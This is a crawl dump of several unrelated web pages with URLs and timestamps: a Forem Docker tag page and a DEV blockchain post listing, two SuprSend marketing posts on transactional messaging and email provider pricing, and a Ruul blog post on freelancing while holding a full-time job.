Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://core.forem.com/t/docker	Docker - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Docker Follow Hide Stories about Docker as a technology (containers, CLI, Engine) or company (Docker Hub, Docker Swarm). Create Post submission guidelines All docker-related stories are allowed, eg: security, docker-compose, images, commands or platform-specific issues. about #docker Docker is the most popular container solution, a way to perform operating-system level virtualization of processes. Containers are used to pack/wrap an application including all its dependencies and ship it as a single package. Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:55
https://www.suprsend.com/post/build-reliable-transactional-email-sms-systems-with-suprsend	Build Reliable Transactional Email & SMS Systems with SuprSend Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Notification Infrastructure Build Reliable Transactional Email & SMS Systems with SuprSend Nikita Navral • November 13, 2025 TABLE OF CONTENTS When users reset a password, confirm a purchase, or receive an OTP, every millisecond matters. Transactional messaging is about trust, security, and reliability . SuprSend helps product and engineering teams deliver these messages instantly, across email and SMS , with complete visibility and fallback logic built in. ‍ What Are Transactional Email & SMS Systems? Transactional messaging platforms power mission-critical communication triggered by real-time events: like sign-ups, payment confirmations, and alerts. The best systems prioritize: Feature / Metric Why It Matters How SuprSend Solves It Global SMS Coverage & Routing Quality SMS reliability varies by region; optimized carrier routing ensures fast, consistent delivery. SuprSend integrates with Twilio, Exotel, Sinch, Karix, and Gupshup - automatically selecting the fastest route per geography to ensure <200 ms latency for OTPs and alerts. Email Deliverability & Reputation High inbox rates require trusted infrastructure: SPF, DKIM, IP reputation, and feedback loops. SuprSend connects with SendGrid, Mailgun, SES, and Postmark, managing DKIM/SPF and IP Pools. Unified logs provide delivery, bounce, and open tracking for complete visibility. Unified API & SDKs Developers shouldn’t rebuild channel logic separately for each provider. A single API handles both email and SMS with consistent payloads. SDKs in Python, Node.js, Java, Go, and Flutter make integration fast and maintainable. Fallback & Orchestration Logic Critical updates must reach users even if one channel fails. Smart Routing automatically retries and falls back between channels (e.g., email → SMS) when delivery fails, guaranteeing reach without duplicates. Analytics & Tracking Visibility into delivery, opens, and failures enables proactive fixes and optimization. Analytics 2.0 unifies logs for all messages, email and SMS, with real-time status, latency metrics, and workflow-level comparisons. Compliance & Consent Support SMS and email laws vary by country; compliance prevents blocking and penalties. SuprSend’s preference APIs and hosted unsubscribe pages automate consent management. GDPR, HIPAA, and CPRA compliance are built-in. Scalability & Pricing Model Costs should scale predictably as message volume grows. Usage-based pricing scales with your growth, no fixed annual lock-ins. SuprSend supports startups and enterprises handling millions of messages daily. ‍ Why Product Teams Choose SuprSend for Transactional Messaging Single Integration, Infinite Channels: Email, SMS, push, inbox, Slack, Teams: all unified through one API. <200 ms Average Latency: Ideal for OTPs, verification codes, and alerts. Real-Time Debugging: Message-level logs show delivery, open, and failure reasons instantly. Smart Retries & Failovers: Built-in orchestration ensures reliability even during vendor downtime. Observability & Schema Validation: Prevent malformed payloads before they reach users. Multi-Tenant & White-Label Ready: Perfect for platforms needing per-customer branding and provider routing. ‍ Proven in Production Companies like Freightify , Teachmint , and Delightree use SuprSend to power mission-critical transactional notificationsc, cutting onboarding time by weeks, improving deliverability, and driving 2–3× higher engagement across email and SMS. ‍ 👉 Learn more at SuprSend.com Share this blog on: Written by: Nikita Navral Co-Founder, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
https://dev.to/t/blockchain/page/2#main-content	Blockchain Page 2 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Blockchain Follow Hide A decentralized, distributed, and oftentimes public, digital ledger consisting of records called blocks that are used to record transactions across many computers so that any involved block cannot be altered retroactively, without the alteration of all subsequent blocks. Create Post Older #blockchain posts 1 2 3 4 5 6 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Introducing VCC Demo: A Browser-Based Cryptographic Audit Trail You Can Try Right Now VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 2 Introducing VCC Demo: A Browser-Based Cryptographic Audit Trail You Can Try Right Now # javascript # react # blockchain # fintech Comments Add Comment 4 min read How I Built the Fastest TON Memecoin Sniper Alert Bot (Golden-Memecoin-Alert) ilya rahnavard ilya rahnavard ilya rahnavard Follow Jan 2 How I Built the Fastest TON Memecoin Sniper Alert Bot (Golden-Memecoin-Alert) # webdev # python # blockchain # web3 Comments Add Comment 2 min read ➡️ Rust Dev's Pallas Journey: Cardano in Rust Intro 이관호(Gwanho LEE) 이관호(Gwanho LEE) 이관호(Gwanho LEE) Follow Jan 1 ➡️ Rust Dev's Pallas Journey: Cardano in Rust Intro # blockchain # cardano # rust # txpipe Comments Add Comment 4 min read Mithril Network Overview 이관호(Gwanho LEE) 이관호(Gwanho LEE) 이관호(Gwanho LEE) Follow Jan 5 Mithril Network Overview # cardano # mithril # rust # blockchain 1 reaction Comments Add Comment 3 min read 🚀 We’re Hiring a Blockchain Developer (Remote, Long-Term) Mike Arndt Mike Arndt Mike Arndt Follow Jan 4 🚀 We’re Hiring a Blockchain Developer (Remote, Long-Term) # web3 # blockchain # cryptocurrency # software Comments Add Comment 1 min read Tutorial: Run a Botanix Node and Secure the First True EVM on Bitcoin walter walter walter Follow Jan 6 Tutorial: Run a Botanix Node and Secure the First True EVM on Bitcoin # cryptocurrency # blockchain # web3 # ai 1 reaction Comments Add Comment 2 min read Why Settlement Layers Will Outlast Smart Contract Platforms: The Case for Stellar Rohan Kumar Rohan Kumar Rohan Kumar Follow Jan 1 Why Settlement Layers Will Outlast Smart Contract Platforms: The Case for Stellar # discuss # architecture # blockchain Comments Add Comment 16 min read Ethereum-Solidity Quiz Q12: What does this sequence of opcodes do? PUSH1 0x80 / PUSH1 0x40 / MSTORE MihaiHng MihaiHng MihaiHng Follow Jan 3 Ethereum-Solidity Quiz Q12: What does this sequence of opcodes do? PUSH1 0x80 / PUSH1 0x40 / MSTORE # ethereum # solidity # web3 # blockchain 2 reactions Comments Add Comment 1 min read Building Tamper-Evident Audit Trails for Trading Systems: A VCP v1.1 Implementation Guide VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 1 Building Tamper-Evident Audit Trails for Trading Systems: A VCP v1.1 Implementation Guide # ai # fintech # blockchain Comments Add Comment 10 min read Building HieraChain: A Hierarchical Blockchain Framework for Enterprise as a Student Side Project Văn Dũng Văn Dũng Văn Dũng Follow Dec 31 '25 Building HieraChain: A Hierarchical Blockchain Framework for Enterprise as a Student Side Project # blockchain # python # rust # go Comments Add Comment 2 min read 2026 to witness major tech shifts with AI integration, new screen tech, and evolving programming languages. Stelixx Insights Stelixx Insights Stelixx Insights Follow Jan 2 2026 to witness major tech shifts with AI integration, new screen tech, and evolving programming languages. # ai # web3 # blockchain # productivity Comments Add Comment 1 min read Ethereum-Solidity Quiz Q14: Why constructors can't be used in upgradeable contracts? MihaiHng MihaiHng MihaiHng Follow Jan 5 Ethereum-Solidity Quiz Q14: Why constructors can't be used in upgradeable contracts? # ethereum # web3 # solidity # blockchain 3 reactions Comments Add Comment 1 min read Ethereum-Solidity Quiz Q11: What is TWAP? MihaiHng MihaiHng MihaiHng Follow Jan 2 Ethereum-Solidity Quiz Q11: What is TWAP? # ethereum # web3 # solidity # blockchain 2 reactions Comments Add Comment 1 min read The Moon and the Maths: The Sea of Tranquility Erick Fernandez Erick Fernandez Erick Fernandez Follow for Extropy.IO Dec 30 '25 The Moon and the Maths: The Sea of Tranquility # zeroknowledge # math # blockchain # ethereum 1 reaction Comments Add Comment 8 min read Ethereum-Solidity Quiz Q8: How can you deploy a Solidity smart contract with Foundry? MihaiHng MihaiHng MihaiHng Follow Dec 30 '25 Ethereum-Solidity Quiz Q8: How can you deploy a Solidity smart contract with Foundry? # ethereum # solidity # web3 # blockchain 2 reactions Comments Add Comment 1 min read The Quantum Event Horizon: Cryptographic Vulnerabilities in the Ethereum Network Erick Fernandez Erick Fernandez Erick Fernandez Follow for Extropy.IO Dec 29 '25 The Quantum Event Horizon: Cryptographic Vulnerabilities in the Ethereum Network # quantum # ethereum # blockchain # web3 Comments Add Comment 6 min read Ethereum-Solidity Quiz Q7: What is the "solc optimizer" in Solidity? MihaiHng MihaiHng MihaiHng Follow Dec 28 '25 Ethereum-Solidity Quiz Q7: What is the "solc optimizer" in Solidity? # ethereum # web3 # solidity # blockchain 1 reaction Comments Add Comment 1 min read Fixing Foundry Install Errors — The Fastest Shortcut Utitofon Samuel Utitofon Samuel Utitofon Samuel Follow Dec 29 '25 Fixing Foundry Install Errors — The Fastest Shortcut # ubuntu # linux # foundry # blockchain Comments Add Comment 1 min read Building DogeMoon: A Self-Custodial, Open-Source Ecosystem for Dogecoin 🚀🐕 Naveen Soni Naveen Soni Naveen Soni Follow Jan 10 Building DogeMoon: A Self-Custodial, Open-Source Ecosystem for Dogecoin 🚀🐕 # blockchain # javascript # opensource # webdev Comments Add Comment 3 min read Ethereum-Solidity Quiz Q6: What is the max bytecode size for smart contract deployment on Ethereum? MihaiHng MihaiHng MihaiHng Follow Dec 27 '25 Ethereum-Solidity Quiz Q6: What is the max bytecode size for smart contract deployment on Ethereum? # ethereum # solidity # web3 # blockchain 1 reaction Comments Add Comment 1 min read Blockchain Beyond Crypto: Revolutionizing Supply Chains, Identity, and Secure Data Adnan Arif Adnan Arif Adnan Arif Follow Dec 26 '25 Blockchain Beyond Crypto: Revolutionizing Supply Chains, Identity, and Secure Data # ai # machinelearning # blockchain Comments Add Comment 4 min read The $3 Billion Loss Year: End-of-Year Security Report Erick Fernandez Erick Fernandez Erick Fernandez Follow for Extropy.IO Dec 31 '25 The $3 Billion Loss Year: End-of-Year Security Report # blockchain # security # zeroknowledge # ethereum 1 reaction Comments Add Comment 4 min read Decentralized Finance's Biggest Vulnerability: Why Private Key Management Can't Stay Private sid sid sid Follow Dec 25 '25 Decentralized Finance's Biggest Vulnerability: Why Private Key Management Can't Stay Private # privacy # web3 # blockchain # security 1 reaction Comments 2 comments 4 min read Ethereum-Solidity Quiz Q5: What is a Private Mempool? MihaiHng MihaiHng MihaiHng Follow Dec 26 '25 Ethereum-Solidity Quiz Q5: What is a Private Mempool? # blockchain # security # monitoring # ethereum 1 reaction Comments Add Comment 1 min read Why I Left Banking to Bet on "Programmable Money" (RWA) JimmyGunawanSE.M.Fi JimmyGunawanSE.M.Fi JimmyGunawanSE.M.Fi Follow Dec 26 '25 Why I Left Banking to Bet on "Programmable Money" (RWA) # fintech # blockchain # web3 # systemarchitecture Comments Add Comment 1 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account	2026-01-13T08:47:55
https://ruul.io/blog/how-to-balance-freelance-work-while-working-full-time	How to balance freelance work while working full-time - Ruul Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up work How to Freelance While Working Full Time? Find the right approach to balancing a full-time job with freelancing. Learn how you can manage your time, set goals, and avoid burnout with our smart tips. Arno Yeramyan 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points In the fast-paced world and gig economy, everyone is looking for ways to increase their income. And one of the common ways of doing that is to freelance while working full time. Balancing a freelance job while working full time is daunting but if you want to capitalize on your skills or want to diversify your income sources, this is the way to go. Also, owing to innumerable US companies open to hiring freelancers, this business trend is on the rise these days. So, if you are also planning to try your hand at freelancing while maintaining your full-time job, read this article. The article explains how you can juggle between a 9-to-5 job and freelancing to successfully navigate through this dual career path and shares some work-balance tips. Balancing a Full-time Job and Freelancing It’s true that balancing a full-time job with freelancing is quite challenging. However, if you keep the right approach, you can manage things easily. Firstly, when you are thinking of diving into this freelancing world, analyze your mental capacity. See which time, morning or evening, will be more suitable for you to complete your freelance projects. Don’t push yourself too much because you need to maintain boundaries between full-time work, freelance work, and your personal life. Also, it is always better to have transparency and honesty with your freelance clients so that your clients keep reasonable expectations from you. Additionally, it becomes easy for you to set clear boundaries. Don’t set unrealistic expectations in your freelance work. Always maintain some flexibility with your freelance work as that is the key to sustainable work-life balance. Setting Realistic Goals and Expectations If you are wondering how to freelance while working full-time, the most important thing for you to learn is to set realistic goals during freelancing. Don’t try to overcommit as it will make you lose from all sides. You won’t be able to meet deadlines, the workload will affect your full-time job and you will burn out in your personal life. Remember, why are you freelancing? Is it for money? Is it to capitalize on your skills or just to utilize your free time? Whatever your reason is, nothing is more important than your physical and mental health. So, always set clear expectations, both from clients and from yourself. Let your clients know how much of a workload you can handle. Ask for some flexibility in deadlines. Make sure that you enjoy what you are doing. Always pick freelance projects or full-time opportunities so that you remain committed to both. Put your best efforts into it, but also find time for yourself. Time Management Strategies While balancing freelancing with a full-time job, it is essential to implement some time management strategies. Some tips for freelancers include: Maintain a clear boundary between the two jobs. Never work on your freelance projects during your full-time work hours. Balancing your time is essential for the successful management of two jobs. Take help of time-tracking tools to know how much time you need to spend on a particular project. This also helps in improving efficiency. If you are already loaded with different freelance projects, learn to say NO to new ones. Declining a few projects helps you in delivering on-going projects on time. Let your client know when and how much time you can give to your freelance work. Clear communication helps your client set realistic expectations with you. Managing Workload and Avoiding Burnout Balancing two jobs at one time can be overwhelming. There is no point in freelancing if you are feeling burned out, exhausted and tired. You need to stay balanced and adopt some strategies to reduce and manage your workload. Here are some tips every freelancer needs to know. Prioritize tasks Categorize your work based on urgency and importance with the help of some online tools available. First of all, pick something that is urgent as well as important. Use project management tools Use online tools that help you track your project deadlines so that you can work more efficiently. Take breaks in between Working in short bursts can help you increase productivity and avoid getting tired. Try to work a maximum of 25 minutes at a stretch and then take a 5-minute break. In this break time, eat something healthy, exercise, watch TV or just meditate. Use automation tools Some tasks are repetitive, and you need to be smart to handle them. Use automation tools rather than doing them personally. Divide your time: Allocate a fixed time for your freelance work and stick to it. Don’t overlap the timings of the two jobs. Legal and Financial Considerations Are you aware of the legal and financial considerations of freelancing while working full-time? If not, you must be. Knowing all legal and financial aspects helps you protect your interests and make informed decisions. Legal considerations Don’t indulge in any freelance service that competes with your full-time employer. The conflict of interest can raise legal problems for you. Before you start, check your employment contract. See if there is any freelance activity restriction clause mentioned in the contract. If it is there, it may be illegal to start freelancing. Another important aspect is to check whether your local laws allow for dual employment. Some laws prohibit people from getting into two jobs simultaneously. Start your freelancing work only after considering all these legal aspects. For more information, you can also contact a legal advisor. Financial aspects Freelancing in addition to your full-time job definitely adds to your income source. If you can plan your finances properly and manage your funds, you can make better use of your dual income. Just because you now have freelance income, don’t indulge in unnecessary spending. Save money for self-employment taxes as freelance income falls under different tax regulations. Also, remember that freelance income is variable. So, save money for your lean times. Use your freelance money to market yourself for better brand building and attract more profitable freelance clients. Conclusion A healthy working balance is essential when you are freelancing along with a full-time job. Plan and organize carefully, set clear boundaries, prioritize tasks and utilize time management tactics to handle demands from both jobs. Hopefully, our tips will help you enjoy your professional growth and extra income in freelancing without getting burned out. Here, Ruul can share some of your workload by helping you with easy invoicing for your clients. Contact Ruul for freelancer invoicing tools and payment collection solutions. ABOUT THE AUTHOR Arno Yeramyan Arno Yeramyan is a talented writer and financial expert who educates readers on various financial topics such as personal finance, investing, and retirement planning. He offers valuable insights to help readers make sound financial decisions for their future. More The times, they are a-changin' Discover how independent professionals and freelancers are evolving in a borderless, remote-first world—how Ruul empowers you to build a virtual company, get paid globally, and adapt to the changing landscape of work. Read more How Does Fiverr Seller Plus Work? How Can Freelancers Use it? What is Fiverr Seller Plus and how can it strengthen your freelance career? Click to learn about the opportunities offered by the subscription system. Read more Rooted with Ruul: Meet Çağla Woman in a cozy sweater working on her laptop at home, exemplifying the comfortable remote work lifestyle of Cagla from Ruul. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://www.suprsend.com/post/the-ultimate-2024-email-provider-comparison-guide-all-major-platforms-compared	The Ultimate 2024 Email Provider Comparison Guide (All Major Platforms Compared) Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Email management The Ultimate 2024 Email Provider Comparison Guide (All Major Platforms Compared) Nikita Navral • November 13, 2025 TABLE OF CONTENTS Choosing the right email provider in 2024 is overwhelming: dozens of vendors, similar claims, and pricing that changes every quarter. This unified guide compiles every head-to-head comparison across major transactional and marketing email platforms, including Postmark, Mailgun, Amazon SES, SendGrid, Brevo, Mailchimp, Mailjet, Elastic Email, SMTP.com, SocketLabs, Netcore, and MailerLite .All insights come directly from detailed comparison files. ‍ Quick Intros - What Each Provider Is Best At Transactional-first providers Postmark — ultra-reliable delivery, developer-focused APIs, perfect for confirmations/receipts. Mailgun — strong API tooling, analytics, validation, great for engineering teams. Amazon SES — cheapest at scale, massive throughput, ideal for technical teams. SendGrid — widely adopted, strong analytics, supports marketing + transactional. SMTP.com — dependable infrastructure, solid support, but no free tier. SocketLabs — extremely stable uptime (99.999%) and deep reporting. Elastic Email — very low-cost bulk sending. Marketing-first providers Mailchimp — automation, templates, analytics, widely used. Brevo (Sendinblue) — automation + CRM + SMS, with generous free tiers. MailerLite — affordable, simple, clean automation & landing pages. Mailjet — collaborative editing, good for teams creating campaigns. Netcore (Pepipost) — fast campaign sending, strong IP reputation, developer-friendly. ‍ API Depth & Developer Experience Strongest API ecosystems Mailgun — rich event & inbound APIs, full contact management. Postmark — clean REST API + outbound message events. Amazon SES — industrial-grade APIs with identity mgmt, configuration sets. SendGrid — extensive REST APIs covering contacts, events, and marketing. Weaker / limited APIs MailerLite (no send-email endpoint) SMTP.com (no event API) Brevo (no event API) ‍ Pricing - Cheapest to Most Expensive Cheapest at scale Amazon SES — $0.02–$0.08 per 1,000 emails + $15/mo. Elastic Email — $0.0002–$0.00005 per email. Netcore — $0.0001–$0.0003 per email. Brevo — $0.0005–$0.0007 per email (with free plan). Mid-range SendGrid — $0.0004–$0.0006. Mailgun — $0.0007–$0.0009. MailerLite — $0.0001–$0.0004. Mailjet — $0.001–$0.0052. Higher-end Postmark — $0.0006–$0.0015. SMTP.com — $0.0005–$0.001. ‍ Performance, Reliability & Deliverability Best uptime SocketLabs: 99.999% Postmark: 100% Mailgun: 99.99% Mailchimp: 99.99% Best deliverability for transactional Postmark Mailgun Amazon SES SendGrid Biggest attachments allowed Amazon SES: 40 MB Mailchimp: 25 MB Mailgun: 25 MB SendGrid: 30 MB ‍ Security & Compliance Most compliant providers Mailgun — SOC I & II, HIPAA, ISO, GDPR Mailchimp — SOC II, PCI DSS, ISO 27001 Amazon SES — CSA STAR, ISO 27001, 20000-1 Brevo — ISO 27001 + GDPR Weaker compliance Elastic Email — no listed major certifications SMTP.com — limited public disclosure ‍ Feature Comparison: Transactional vs Marketing Best for automation Mailchimp Brevo MailerLite Netcore Best for templates Mailchimp MailerLite SendGrid Postmark (for transactional) Best for analytics Mailchimp SendGrid Mailgun SocketLabs ‍ User Sentiment (G2 Reviews Summary) Top-rated overall MailerLite: 4.7★ — best ease-of-use and automation simplicity. Postmark: 4.6★ — leaders in transactional reliability. Brevo: 4.6★ — loved for pricing + contact management. Mailgun: 4.3★ — strong for developers. Amazon SES: 4.3★ — delivers reliably at scale. Most criticized SMTP.com — 3.0★ (pricing complaints, cancellations). SendGrid — issues with support responsiveness. ‍ Final Recommendations by Use Case Best for startups Brevo (free plan + automation) MailerLite (affordable, modern UI) Best for developers Postmark (reliability) Mailgun (robust APIs) Amazon SES (scale + cost) Best for marketers Mailchimp (ecosystem + templates) Mailjet (team collaboration) Best for high-volume sending Amazon SES Elastic Email Netcore Best overall deliverability Postmark Mailgun Share this blog on: Written by: Nikita Navral Co-Founder, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
